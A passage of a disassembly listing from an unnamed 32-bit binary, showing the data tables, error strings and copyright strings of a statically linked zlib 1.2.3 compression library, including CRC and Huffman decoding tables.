612667A7h, 0F71660D0h, 4D476949h dd 0DB776E3Eh, 4A6AD1AEh, 0DC5AD6D9h, 660BDF40h, 0F03BD837h dd 53AEBCA9h, 0C59EBBDEh, 7FCFB247h, 0E9FFB530h, 1CF2BDBDh dd 8AC2BACAh, 3093B353h, 0A6A3B424h, 536D0BAh, 9306D7CDh dd 2957DE54h, 0BF67D923h, 2E7A66B3h, 0B84A61C4h, 21B685Dh dd 942B6F2Ah, 37BE0BB4h, 0A18E0CC3h, 1BDF055Ah, 8DEF022Dh dd 0 dd 41311B19h, 82623632h, 0C3532D2Bh, 4C56C64h, 45F4777Dh dd 86A75A56h, 0C796414Fh, 88AD9C8h, 49BBC2D1h, 8AE8EFFAh dd 0CBD9F4E3h, 0C4FB5ACh, 4D7EAEB5h, 8E2D839Eh, 0CF1C9887h dd 5112C24Ah, 1023D953h, 0D370F478h, 9241EF61h, 55D7AE2Eh dd 14E6B537h, 0D7B5981Ch, 96848305h, 59981B82h, 18A9009Bh dd 0DBFA2DB0h, 9ACB36A9h, 5D5D77E6h, 1C6C6CFFh, 0DF3F41D4h dd 9E0E5ACDh, 0A2248495h, 0E3159F8Ch, 2046B2A7h, 6177A9BEh dd 0A6E1E8F1h, 0E7D0F3E8h, 2483DEC3h, 65B2C5DAh, 0AAAE5D5Dh dd 0EB9F4644h, 28CC6B6Fh, 69FD7076h, 0AE6B3139h, 0EF5A2A20h dd 2C09070Bh, 6D381C12h, 0F33646DFh, 0B2075DC6h, 715470EDh dd 30656BF4h, 0F7F32ABBh, 0B6C231A2h, 75911C89h, 34A00790h dd 0FBBC9F17h, 0BA8D840Eh, 79DEA925h, 38EFB23Ch, 0FF79F373h dd 0BE48E86Ah, 7D1BC541h, 3C2ADE58h, 54F79F0h, 447E62E9h dd 872D4FC2h, 0C61C54DBh, 18A1594h, 40BB0E8Dh, 83E823A6h dd 0C2D938BFh, 0DC5A038h, 4CF4BB21h, 8FA7960Ah, 0CE968D13h dd 900CC5Ch, 4831D745h, 8B62FA6Eh, 0CA53E177h, 545DBBBAh dd 156CA0A3h, 0D63F8D88h, 970E9691h, 5098D7DEh, 11A9CCC7h dd 0D2FAE1ECh, 93CBFAF5h, 5CD76272h, 1DE6796Bh, 0DEB55440h dd 9F844F59h, 58120E16h, 1923150Fh, 0DA703824h, 9B41233Dh dd 0A76BFD65h, 0E65AE67Ch, 2509CB57h, 6438D04Eh, 0A3AE9101h dd 0E29F8A18h, 21CCA733h, 60FDBC2Ah, 0AFE124ADh, 0EED03FB4h dd 2D83129Fh, 6CB20986h, 0AB2448C9h, 0EA1553D0h, 29467EFBh dd 687765E2h, 0F6793F2Fh, 0B7482436h, 741B091Dh, 352A1204h dd 0F2BC534Bh, 0B38D4852h, 70DE6579h, 31EF7E60h, 0FEF3E6E7h dd 0BFC2FDFEh, 7C91D0D5h, 3DA0CBCCh, 0FA368A83h, 0BB07919Ah dd 7854BCB1h, 3965A7A8h, 4B98833Bh, 0AA99822h, 0C9FAB509h dd 88CBAE10h, 4F5DEF5Fh, 0E6CF446h, 0CD3FD96Dh, 8C0EC274h dd 43125AF3h, 22341EAh, 0C1706CC1h, 804177D8h, 47D73697h dd 6E62D8Eh, 0C5B500A5h, 84841BBCh, 1A8A4171h, 5BBB5A68h dd 98E87743h, 0D9D96C5Ah, 1E4F2D15h, 5F7E360Ch, 9C2D1B27h dd 0DD1C003Eh, 120098B9h, 533183A0h, 9062AE8Bh, 0D153B592h dd 16C5F4DDh, 57F4EFC4h, 94A7C2EFh, 0D596D9F6h, 0E9BC07AEh dd 0A88D1CB7h, 6BDE319Ch, 2AEF2A85h, 0ED796BCAh, 0AC4870D3h dd 6F1B5DF8h, 2E2A46E1h, 0E136DE66h, 0A007C57Fh, 6354E854h dd 2265F34Dh, 0E5F3B202h, 0A4C2A91Bh, 67918430h, 26A09F29h dd 0B8AEC5E4h, 0F99FDEFDh, 3ACCF3D6h, 7BFDE8CFh, 0BC6BA980h dd 0FD5AB299h, 3E099FB2h, 7F3884ABh, 0B0241C2Ch, 0F1150735h dd 32462A1Eh, 73773107h, 0B4E17048h, 0F5D06B51h, 3683467Ah dd 77B25D63h, 4ED7FACBh, 0FE6E1D2h, 0CCB5CCF9h, 8D84D7E0h dd 4A1296AFh, 0B238DB6h, 0C870A09Dh, 8941BB84h, 465D2303h dd 76C381Ah, 0C43F1531h, 850E0E28h, 42984F67h, 3A9547Eh dd 0C0FA7955h, 81CB624Ch, 1FC53881h, 5EF42398h, 9DA70EB3h dd 0DC9615AAh, 1B0054E5h, 5A314FFCh, 996262D7h, 0D85379CEh dd 174FE149h, 567EFA50h, 952DD77Bh, 0D41CCC62h, 138A8D2Dh dd 52BB9634h, 91E8BB1Fh, 0D0D9A006h, 0ECF37E5Eh, 0ADC26547h dd 6E91486Ch, 2FA05375h, 0E836123Ah, 0A9070923h, 6A542408h dd 2B653F11h, 0E479A796h, 0A548BC8Fh, 661B91A4h, 272A8ABDh dd 0E0BCCBF2h, 0A18DD0EBh, 62DEFDC0h, 23EFE6D9h, 0BDE1BC14h dd 0FCD0A70Dh, 3F838A26h, 7EB2913Fh, 0B924D070h, 0F815CB69h dd 3B46E642h, 7A77FD5Bh, 0B56B65DCh, 0F45A7EC5h, 370953EEh dd 763848F7h, 0B1AE09B8h, 0F09F12A1h, 33CC3F8Ah, 72FD2493h dd 0 dd 376AC201h, 6ED48403h, 59BE4602h, 0DCA80907h, 0EBC2CB06h dd 0B27C8D04h, 85164F05h, 0B851130Eh, 8F3BD10Fh, 0D685970Dh dd 0E1EF550Ch, 64F91A09h, 5393D808h, 0A2D9E0Ah, 3D475C0Bh dd 70A3261Ch, 47C9E41Dh, 1E77A21Fh, 291D601Eh, 0AC0B2F1Bh dd 9B61ED1Ah, 0C2DFAB18h, 0F5B56919h, 0C8F23512h, 0FF98F713h dd 0A626B111h, 914C7310h, 145A3C15h, 2330FE14h, 7A8EB816h dd 4DE47A17h, 0E0464D38h, 0D72C8F39h, 8E92C93Bh, 0B9F80B3Ah dd 3CEE443Fh, 0B84863Eh, 523AC03Ch, 6550023Dh, 58175E36h dd 6F7D9C37h, 36C3DA35h, 1A91834h, 84BF5731h, 0B3D59530h dd 0EA6BD332h, 0DD011133h, 90E56B24h, 0A78FA925h, 0FE31EF27h dd 0C95B2D26h, 4C4D6223h, 7B27A022h, 2299E620h, 15F32421h dd 28B4782Ah, 1FDEBA2Bh, 4660FC29h, 710A3E28h, 0F41C712Dh dd 0C376B32Ch, 9AC8F52Eh, 0ADA2372Fh, 0C08D9A70h, 0F7E75871h dd 0AE591E73h, 9933DC72h, 1C259377h, 2B4F5176h, 72F11774h dd 459BD575h, 78DC897Eh, 4FB64B7Fh, 16080D7Dh, 2162CF7Ch dd 0A4748079h, 931E4278h, 0CAA0047Ah, 0FDCAC67Bh, 0B02EBC6Ch dd 87447E6Dh, 0DEFA386Fh, 0E990FA6Eh, 6C86B56Bh, 5BEC776Ah dd 2523168h, 3538F369h, 87FAF62h, 3F156D63h, 66AB2B61h dd 51C1E960h, 0D4D7A665h, 0E3BD6464h, 0BA032266h, 8D69E067h dd 20CBD748h, 17A11549h, 4E1F534Bh, 7975914Ah, 0FC63DE4Fh dd 0CB091C4Eh, 92B75A4Ch, 0A5DD984Dh, 989AC446h, 0AFF00647h dd 0F64E4045h, 0C1248244h, 4432CD41h, 73580F40h, 2AE64942h dd 1D8C8B43h, 5068F154h, 67023355h, 3EBC7557h, 9D6B756h dd 8CC0F853h, 0BBAA3A52h, 0E2147C50h, 0D57EBE51h, 0E839E25Ah dd 0DF53205Bh, 86ED6659h, 0B187A458h, 3491EB5Dh, 3FB295Ch dd 5A456F5Eh, 6D2FAD5Fh, 801B35E1h, 0B771F7E0h, 0EECFB1E2h dd 0D9A573E3h, 5CB33CE6h, 6BD9FEE7h, 3267B8E5h, 50D7AE4h dd 384A26EFh, 0F20E4EEh, 569EA2ECh, 61F460EDh, 0E4E22FE8h dd 0D388EDE9h, 8A36ABEBh, 0BD5C69EAh, 0F0B813FDh, 0C7D2D1FCh dd 9E6C97FEh, 0A90655FFh, 2C101AFAh, 1B7AD8FBh, 42C49EF9h dd 75AE5CF8h, 48E900F3h, 7F83C2F2h, 263D84F0h, 115746F1h dd 944109F4h, 0A32BCBF5h, 0FA958DF7h, 0CDFF4FF6h, 605D78D9h dd 5737BAD8h, 0E89FCDAh, 39E33EDBh, 0BCF571DEh, 8B9FB3DFh dd 0D221F5DDh, 0E54B37DCh, 0D80C6BD7h, 0EF66A9D6h, 0B6D8EFD4h dd 81B22DD5h, 4A462D0h, 33CEA0D1h, 6A70E6D3h, 5D1A24D2h dd 10FE5EC5h, 27949CC4h, 7E2ADAC6h, 494018C7h, 0CC5657C2h dd 0FB3C95C3h, 0A282D3C1h, 95E811C0h, 0A8AF4DCBh, 9FC58FCAh dd 0C67BC9C8h, 0F1110BC9h, 740744CCh, 436D86CDh, 1AD3C0CFh dd 2DB902CEh, 4096AF91h, 77FC6D90h, 2E422B92h, 1928E993h dd 9C3EA696h, 0AB546497h, 0F2EA2295h, 0C580E094h, 0F8C7BC9Fh dd 0CFAD7E9Eh, 9613389Ch, 0A179FA9Dh, 246FB598h, 13057799h dd 4ABB319Bh, 7DD1F39Ah, 3035898Dh, 75F4B8Ch, 5EE10D8Eh dd 698BCF8Fh, 0EC9D808Ah, 0DBF7428Bh, 82490489h, 0B523C688h dd 88649A83h, 0BF0E5882h, 0E6B01E80h, 0D1DADC81h, 54CC9384h dd 63A65185h, 3A181787h, 0D72D586h, 0A0D0E2A9h, 97BA20A8h dd 0CE0466AAh, 0F96EA4ABh, 7C78EBAEh, 4B1229AFh, 12AC6FADh dd 25C6ADACh, 1881F1A7h, 2FEB33A6h, 765575A4h, 413FB7A5h dd 0C429F8A0h, 0F3433AA1h, 0AAFD7CA3h, 9D97BEA2h, 0D073C4B5h dd 0E71906B4h, 0BEA740B6h, 89CD82B7h, 0CDBCDB2h, 3BB10FB3h dd 620F49B1h, 55658BB0h, 6822D7BBh, 5F4815BAh, 6F653B8h dd 319C91B9h, 0B48ADEBCh, 83E01CBDh, 0DA5E5ABFh, 0ED3498BEh dd 0 dd 6567BCB8h, 8BC809AAh, 0EEAFB512h, 5797628Fh, 32F0DE37h dd 0DC5F6B25h, 0B938D79Dh, 0EF28B4C5h, 8A4F087Dh, 64E0BD6Fh dd 18701D7h, 0B8BFD64Ah, 0DDD86AF2h, 3377DFE0h, 56106358h dd 9F571950h, 0FA30A5E8h, 149F10FAh, 71F8AC42h, 0C8C07BDFh dd 0ADA7C767h, 43087275h, 266FCECDh, 707FAD95h, 1518112Dh dd 0FBB7A43Fh, 9ED01887h, 27E8CF1Ah, 428F73A2h, 0AC20C6B0h dd 0C9477A08h, 3EAF32A0h, 5BC88E18h, 0B5673B0Ah, 0D00087B2h dd 6938502Fh, 0C5FEC97h, 0E2F05985h, 8797E53Dh, 0D1878665h dd 0B4E03ADDh, 5A4F8FCFh, 3F283377h, 8610E4EAh, 0E3775852h dd 0DD8ED40h, 68BF51F8h, 0A1F82BF0h, 0C49F9748h, 2A30225Ah dd 4F579EE2h, 0F66F497Fh, 9308F5C7h, 7DA740D5h, 18C0FC6Dh dd 4ED09F35h, 2BB7238Dh, 0C518969Fh, 0A07F2A27h, 1947FDBAh dd 7C204102h, 928FF410h, 0F7E848A8h, 3D58149Bh, 583FA823h dd 0B6901D31h, 0D3F7A189h, 6ACF7614h, 0FA8CAACh, 0E1077FBEh dd 8460C306h, 0D270A05Eh, 0B7171CE6h, 59B8A9F4h, 3CDF154Ch dd 85E7C2D1h, 0E0807E69h, 0E2FCB7Bh, 6B4877C3h, 0A20F0DCBh dd 0C768B173h, 29C70461h, 4CA0B8D9h, 0F5986F44h, 90FFD3FCh dd 7E5066EEh, 1B37DA56h, 4D27B90Eh, 284005B6h, 0C6EFB0A4h dd 0A3880C1Ch, 1AB0DB81h, 7FD76739h, 9178D22Bh, 0F41F6E93h dd 3F7263Bh, 66909A83h, 883F2F91h, 0ED589329h, 546044B4h dd 3107F80Ch, 0DFA84D1Eh, 0BACFF1A6h, 0ECDF92FEh, 89B82E46h dd 67179B54h, 27027ECh, 0BB48F071h, 0DE2F4CC9h, 3080F9DBh dd 55E74563h, 9CA03F6Bh, 0F9C783D3h, 176836C1h, 720F8A79h dd 0CB375DE4h, 0AE50E15Ch, 40FF544Eh, 2598E8F6h, 73888BAEh dd 16EF3716h, 0F8408204h, 9D273EBCh, 241FE921h, 41785599h dd 0AFD7E08Bh, 0CAB05C33h, 3BB659EDh, 5ED1E555h, 0B07E5047h dd 0D519ECFFh, 6C213B62h, 94687DAh, 0E7E932C8h, 828E8E70h dd 0D49EED28h, 0B1F95190h, 5F56E482h, 3A31583Ah, 83098FA7h dd 0E66E331Fh, 8C1860Dh, 6DA63AB5h, 0A4E140BDh, 0C186FC05h dd 2F294917h, 4A4EF5AFh, 0F3762232h, 96119E8Ah, 78BE2B98h dd 1DD99720h, 4BC9F478h, 2EAE48C0h, 0C001FDD2h, 0A566416Ah dd 1C5E96F7h, 79392A4Fh, 97969F5Dh, 0F2F123E5h, 5196B4Dh dd 607ED7F5h, 8ED162E7h, 0EBB6DE5Fh, 528E09C2h, 37E9B57Ah dd 0D9460068h, 0BC21BCD0h, 0EA31DF88h, 8F566330h, 61F9D622h dd 49E6A9Ah, 0BDA6BD07h, 0D8C101BFh, 366EB4ADh, 53090815h dd 9A4E721Dh, 0FF29CEA5h, 11867BB7h, 74E1C70Fh, 0CDD91092h dd 0A8BEAC2Ah, 46111938h, 2376A580h, 7566C6D8h, 10017A60h dd 0FEAECF72h, 9BC973CAh, 22F1A457h, 479618EFh, 0A939ADFDh dd 0CC5E1145h, 6EE4D76h, 6389F1CEh, 8D2644DCh, 0E841F864h dd 51792FF9h, 341E9341h, 0DAB12653h, 0BFD69AEBh, 0E9C6F9B3h dd 8CA1450Bh, 620EF019h, 7694CA1h, 0BE519B3Ch, 0DB362784h dd 35999296h, 50FE2E2Eh, 99B95426h, 0FCDEE89Eh, 12715D8Ch dd 7716E134h, 0CE2E36A9h, 0AB498A11h, 45E63F03h, 208183BBh dd 7691E0E3h, 13F65C5Bh, 0FD59E949h, 983E55F1h, 2106826Ch dd 44613ED4h, 0AACE8BC6h, 0CFA9377Eh, 38417FD6h, 5D26C36Eh dd 0B389767Ch, 0D6EECAC4h, 6FD61D59h, 0AB1A1E1h, 0E41E14F3h dd 8179A84Bh, 0D769CB13h, 0B20E77ABh, 5CA1C2B9h, 39C67E01h dd 80FEA99Ch, 0E5991524h, 0B36A036h, 6E511C8Eh, 0A7166686h dd 0C271DA3Eh, 2CDE6F2Ch, 49B9D394h, 0F0810409h, 95E6B8B1h dd 7B490DA3h, 1E2EB11Bh, 483ED243h, 2D596EFBh, 0C3F6DBE9h dd 0A6916751h, 1FA9B0CCh, 7ACE0C74h, 9461B966h, 0F10605DEh dd 66656420h, 6574616Ch, 322E3120h, 4320332Eh, 7279706Fh dd 74686769h, 39393120h, 30322D35h, 4A203530h, 2D6E6165h dd 70756F6Ch, 69614720h, 20796C6Ch, 3 dup(0) dd offset sub_60197B dd 40004h, 40008h, 601AA3h, 50004h, 80010h, 601AA3h, 60004h dd 200020h, 601AA3h, 40004h, 100010h, 601D8Bh, 100008h dd 200020h, 601D8Bh, 100008h, 800080h, 601D8Bh, 200008h dd 1000080h, 601D8Bh, 800020h, 4000102h, 601D8Bh, 1020020h dd 10000102h, 601D8Bh, 2E322E31h, 33h aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_60214D:loc_60249Do ; sub_6026FA+CD0o aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_60214D:loc_602487o ; sub_6026FA+E0Co align 4 aInvalidDistanc db 'invalid distance too far back',0 ; DATA XREF: sub_60214D:loc_60247Eo ; sub_6026FA+E7Fo align 8 asc_60B1E8 db '`',7,0 ; DATA XREF: sub_6026FA:loc_602DDDo align 4 dd 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h dd 0C00900h, 0A0710h, 600800h, 200800h, 0A00900h, 800h dd 800800h, 400800h, 0E00900h, 60710h, 580800h, 180800h dd 900900h, 3B0713h, 780800h, 380800h, 0D00900h, 110711h dd 680800h, 280800h, 0B00900h, 80800h, 880800h, 480800h dd 0F00900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h dd 740800h, 340800h, 0C80900h, 0D0711h, 640800h, 240800h dd 0A80900h, 40800h, 840800h, 440800h, 0E80900h, 80710h dd 5C0800h, 1C0800h, 980900h, 530714h, 7C0800h, 3C0800h dd 0D80900h, 170712h, 6C0800h, 2C0800h, 0B80900h, 0C0800h dd 8C0800h, 4C0800h, 0F80900h, 30710h, 520800h, 120800h dd 0A30815h, 230713h, 720800h, 320800h, 0C40900h, 0B0711h dd 620800h, 220800h, 0A40900h, 20800h, 820800h, 420800h dd 0E40900h, 70710h, 5A0800h, 1A0800h, 940900h, 430714h dd 7A0800h, 3A0800h, 0D40900h, 130712h, 6A0800h, 2A0800h dd 0B40900h, 0A0800h, 8A0800h, 4A0800h, 0F40900h, 50710h dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CC0900h dd 0F0711h, 660800h, 260800h, 0AC0900h, 60800h, 860800h dd 460800h, 0EC0900h, 90710h, 5E0800h, 1E0800h, 9C0900h dd 630714h, 7E0800h, 3E0800h, 0DC0900h, 1B0712h, 6E0800h dd 2E0800h, 0BC0900h, 0E0800h, 8E0800h, 4E0800h, 0FC0900h dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h dd 0C20900h, 0A0710h, 610800h, 210800h, 0A20900h, 10800h dd 810800h, 410800h, 0E20900h, 60710h, 590800h, 190800h dd 920900h, 3B0713h, 790800h, 390800h, 0D20900h, 110711h dd 690800h, 290800h, 0B20900h, 90800h, 890800h, 490800h dd 0F20900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h dd 750800h, 350800h, 0CA0900h, 0D0711h, 650800h, 250800h dd 0AA0900h, 50800h, 850800h, 450800h, 0EA0900h, 80710h dd 5D0800h, 1D0800h, 9A0900h, 530714h, 7D0800h, 3D0800h dd 0DA0900h, 170712h, 6D0800h, 2D0800h, 0BA0900h, 0D0800h dd 8D0800h, 4D0800h, 0FA0900h, 30710h, 530800h, 130800h dd 0C30815h, 230713h, 730800h, 330800h, 0C60900h, 0B0711h dd 630800h, 230800h, 0A60900h, 30800h, 830800h, 430800h dd 0E60900h, 70710h, 5B0800h, 1B0800h, 960900h, 430714h dd 7B0800h, 3B0800h, 0D60900h, 130712h, 6B0800h, 2B0800h dd 0B60900h, 0B0800h, 8B0800h, 4B0800h, 0F60900h, 50710h dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CE0900h dd 0F0711h, 670800h, 270800h, 0AE0900h, 70800h, 870800h dd 470800h, 0EE0900h, 90710h, 5F0800h, 1F0800h, 9E0900h dd 630714h, 7F0800h, 3F0800h, 0DE0900h, 1B0712h, 6F0800h dd 2F0800h, 0BE0900h, 0F0800h, 8F0800h, 4F0800h, 0FE0900h dd 760h, 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h dd 0C10900h, 0A0710h, 600800h, 200800h, 0A10900h, 800h dd 800800h, 400800h, 0E10900h, 60710h, 580800h, 180800h dd 910900h, 3B0713h, 780800h, 380800h, 0D10900h, 110711h dd 680800h, 280800h, 0B10900h, 80800h, 880800h, 480800h dd 0F10900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h dd 740800h, 340800h, 0C90900h, 0D0711h, 640800h, 240800h dd 0A90900h, 40800h, 840800h, 440800h, 0E90900h, 80710h dd 5C0800h, 1C0800h, 990900h, 530714h, 7C0800h, 3C0800h dd 0D90900h, 170712h, 6C0800h, 2C0800h, 0B90900h, 0C0800h dd 8C0800h, 4C0800h, 0F90900h, 30710h, 520800h, 120800h dd 0A30815h, 230713h, 720800h, 320800h, 0C50900h, 0B0711h dd 620800h, 220800h, 0A50900h, 20800h, 820800h, 420800h dd 0E50900h, 70710h, 5A0800h, 1A0800h, 950900h, 430714h dd 7A0800h, 3A0800h, 0D50900h, 130712h, 6A0800h, 2A0800h dd 0B50900h, 0A0800h, 8A0800h, 4A0800h, 0F50900h, 50710h dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CD0900h dd 0F0711h, 660800h, 260800h, 0AD0900h, 60800h, 860800h dd 460800h, 0ED0900h, 90710h, 5E0800h, 1E0800h, 9D0900h dd 630714h, 7E0800h, 3E0800h, 0DD0900h, 1B0712h, 6E0800h dd 2E0800h, 0BD0900h, 0E0800h, 8E0800h, 4E0800h, 0FD0900h dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h dd 0C30900h, 0A0710h, 610800h, 210800h, 0A30900h, 10800h dd 810800h, 410800h, 0E30900h, 60710h, 590800h, 190800h dd 930900h, 3B0713h, 790800h, 390800h, 0D30900h, 110711h dd 690800h, 290800h, 0B30900h, 90800h, 890800h, 490800h dd 0F30900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h dd 750800h, 350800h, 0CB0900h, 0D0711h, 650800h, 250800h dd 0AB0900h, 50800h, 850800h, 450800h, 0EB0900h, 80710h dd 5D0800h, 1D0800h, 9B0900h, 530714h, 7D0800h, 3D0800h dd 0DB0900h, 170712h, 6D0800h, 2D0800h, 0BB0900h, 0D0800h dd 8D0800h, 4D0800h, 0FB0900h, 30710h, 530800h, 130800h dd 0C30815h, 230713h, 730800h, 330800h, 0C70900h, 0B0711h dd 630800h, 230800h, 0A70900h, 30800h, 830800h, 430800h dd 0E70900h, 70710h, 5B0800h, 1B0800h, 970900h, 430714h dd 7B0800h, 3B0800h, 0D70900h, 130712h, 6B0800h, 2B0800h dd 0B70900h, 0B0800h, 8B0800h, 4B0800h, 0F70900h, 50710h dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CF0900h dd 0F0711h, 670800h, 270800h, 0AF0900h, 70800h, 870800h dd 470800h, 0EF0900h, 90710h, 5F0800h, 1F0800h, 9F0900h dd 630714h, 7F0800h, 3F0800h, 0DF0900h, 1B0712h, 6F0800h dd 2F0800h, 0BF0900h, 0F0800h, 8F0800h, 4F0800h, 0FF0900h dword_60B9E8 dd 10510h, 1010517h, 110513h, 1001051Bh, 50511h, 4010519h ; DATA XREF: sub_6026FA+6F1o dd 410515h, 4001051Dh, 30510h, 2010518h, 210514h, 2001051Ch dd 90512h, 801051Ah, 810516h, 540h, 20510h, 1810517h, 190513h dd 1801051Bh, 70511h, 6010519h, 610515h, 6001051Dh, 40510h dd 3010518h, 310514h, 3001051Ch, 0D0512h, 0C01051Ah, 0C10516h dd 540h word_60BA68 dw 10h ; DATA XREF: sub_6026FA+878r ; sub_6026FA+8A5r dw 11h dd 12h, 70008h, 60009h, 5000Ah, 4000Bh, 3000Ch, 2000Dh dd 1000Eh, 0Fh aIncorrectLengt db 'incorrect length check',0 ; DATA XREF: sub_6026FA+1033o align 4 aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_6026FA+FE0o align 10h aInvalidDista_1 db 'invalid distances set',0 ; DATA XREF: sub_6026FA+B58o align 4 aInvalidLiter_0 db 'invalid literal/lengths set',0 ; DATA XREF: sub_6026FA+B13o aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_6026FA+AB3o ; sub_6026FA+AC2o align 10h aInvalidCodeLen db 'invalid code lengths set',0 ; DATA XREF: sub_6026FA+8F6o align 4 aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_6026FA+845o aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_6026FA+761o align 10h aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_6026FA+6CCo align 4 aHeaderCrcMisma db 'header crc mismatch',0 ; DATA XREF: sub_6026FA+58Fo aUnknownHeaderF db 'unknown header flags set',0 ; DATA XREF: sub_6026FA+1E5o align 4 aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_6026FA+1D1o align 10h aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_6026FA+193o align 4 aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_6026FA+14Fo align 10h aInflate1_2_3Co db ' inflate 1.2.3 Copyright 1995-2005 Mark Adler ',0 align 10h dword_60BC30 dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h ; DATA XREF: sub_60391C+141o dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h, 0A30083h dd 0E300C3h, 102h, 0 dword_60BC70 dd 4 dup(100010h), 2 dup(110011h), 2 dup(120012h), 2 dup(130013h) ; DATA XREF: sub_60391C+14Bo dd 2 dup(140014h), 2 dup(150015h), 0C90010h, 0C4h dword_60BCB0 dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h ; DATA XREF: sub_60391C+12Co dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h dd 30012001h, 60014001h, 0 dword_60BCF0 dd 2 dup(100010h), 110011h, 120012h, 130013h, 140014h ; DATA XREF: sub_60391C+133o dd 150015h, 160016h, 170017h, 180018h, 190019h, 1A001Ah dd 1B001Bh, 1C001Ch, 1D001Dh, 400040h dword_60BD30 dd 0 ; DATA XREF: sub_604726+159r ; .data:00612848o dd 7 dup(0) dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 2 dup(0) dword_60BDA8 dd 0 ; DATA XREF: sub_604726+287r dd 3 dup(0) dword_60BDB8 dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh), 10h dup(0) dd 2, 3, 7 byte_60BE6C db 10h ; DATA XREF: sub_6044ED+190r ; sub_604E3C:loc_604E75r db 11h, 12h, 0 dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh dword_60BE80 dd 8000Ch, 8008Ch, 8004Ch, 800CCh, 8002Ch, 800ACh, 8006Ch ; DATA XREF: sub_604F24+1C1o ; .data:00612844o dd 800ECh, 8001Ch, 8009Ch, 8005Ch, 800DCh, 8003Ch, 800BCh dd 8007Ch, 800FCh, 80002h, 80082h, 80042h, 800C2h, 80022h dd 800A2h, 80062h, 800E2h, 80012h, 80092h, 80052h, 800D2h dd 80032h, 800B2h, 80072h, 800F2h, 8000Ah, 8008Ah, 8004Ah dd 800CAh, 8002Ah, 800AAh, 8006Ah, 800EAh, 8001Ah, 8009Ah dd 8005Ah, 800DAh, 8003Ah, 800BAh, 8007Ah, 800FAh, 80006h dd 80086h, 80046h, 800C6h, 80026h, 800A6h, 80066h, 800E6h dd 80016h, 80096h, 80056h, 800D6h, 80036h, 800B6h, 80076h dd 800F6h, 8000Eh, 8008Eh, 8004Eh, 800CEh, 8002Eh, 800AEh dd 8006Eh, 800EEh, 8001Eh, 8009Eh, 8005Eh, 800DEh, 8003Eh dd 800BEh, 8007Eh, 800FEh, 80001h, 80081h, 80041h, 800C1h dd 80021h, 800A1h, 80061h, 800E1h, 80011h, 80091h, 80051h dd 800D1h, 80031h, 800B1h, 80071h, 800F1h, 80009h, 80089h dd 80049h, 800C9h, 80029h, 800A9h, 80069h, 800E9h, 80019h dd 80099h, 80059h, 800D9h, 80039h, 800B9h, 80079h, 800F9h dd 80005h, 80085h, 80045h, 800C5h, 80025h, 800A5h, 80065h dd 800E5h, 80015h, 80095h, 80055h, 800D5h, 80035h, 800B5h dd 80075h, 800F5h, 8000Dh, 8008Dh, 8004Dh, 800CDh, 8002Dh dd 800ADh, 8006Dh, 800EDh, 8001Dh, 8009Dh, 8005Dh, 800DDh dd 8003Dh, 800BDh, 8007Dh, 800FDh, 90013h, 90113h, 90093h dd 90193h, 90053h, 90153h, 900D3h, 901D3h, 90033h, 90133h dd 900B3h, 901B3h, 90073h, 90173h, 900F3h, 901F3h, 9000Bh dd 9010Bh, 9008Bh, 9018Bh, 9004Bh, 9014Bh, 900CBh, 901CBh dd 9002Bh, 9012Bh, 900ABh, 901ABh, 9006Bh, 9016Bh, 900EBh dd 901EBh, 9001Bh, 9011Bh, 9009Bh, 9019Bh, 9005Bh, 9015Bh dd 900DBh, 901DBh, 9003Bh, 9013Bh, 900BBh, 901BBh, 9007Bh dd 9017Bh, 900FBh, 901FBh, 90007h, 90107h, 90087h, 90187h dd 90047h, 90147h, 900C7h, 901C7h, 90027h, 90127h, 900A7h dd 901A7h, 90067h, 90167h, 900E7h, 901E7h, 90017h, 90117h dd 90097h, 90197h, 90057h, 90157h, 900D7h, 901D7h, 90037h dd 90137h, 900B7h, 901B7h, 90077h, 90177h, 900F7h, 901F7h dd 9000Fh, 9010Fh, 9008Fh, 9018Fh, 9004Fh, 9014Fh, 900CFh dd 901CFh, 9002Fh, 9012Fh, 900AFh, 901AFh, 9006Fh, 9016Fh dd 900EFh, 901EFh, 9001Fh, 9011Fh, 9009Fh, 9019Fh, 9005Fh dd 9015Fh, 900DFh, 901DFh, 9003Fh, 9013Fh, 900BFh, 901BFh dd 9007Fh, 9017Fh, 900FFh, 901FFh, 70000h, 70040h, 70020h dd 70060h, 70010h, 70050h, 70030h, 70070h, 70008h, 70048h dd 70028h, 70068h, 70018h, 70058h, 70038h, 70078h, 70004h dd 70044h, 70024h, 70064h, 70014h, 70054h, 70034h, 70074h dd 80003h, 80083h, 80043h, 800C3h, 80023h, 800A3h, 80063h dd 800E3h dword_60C300 dd 50000h, 50010h, 50008h, 50018h, 50004h, 50014h, 5000Ch ; DATA XREF: sub_604F24:loc_6050E0o dd 5001Ch, 50002h, 50012h, 5000Ah, 5001Ah, 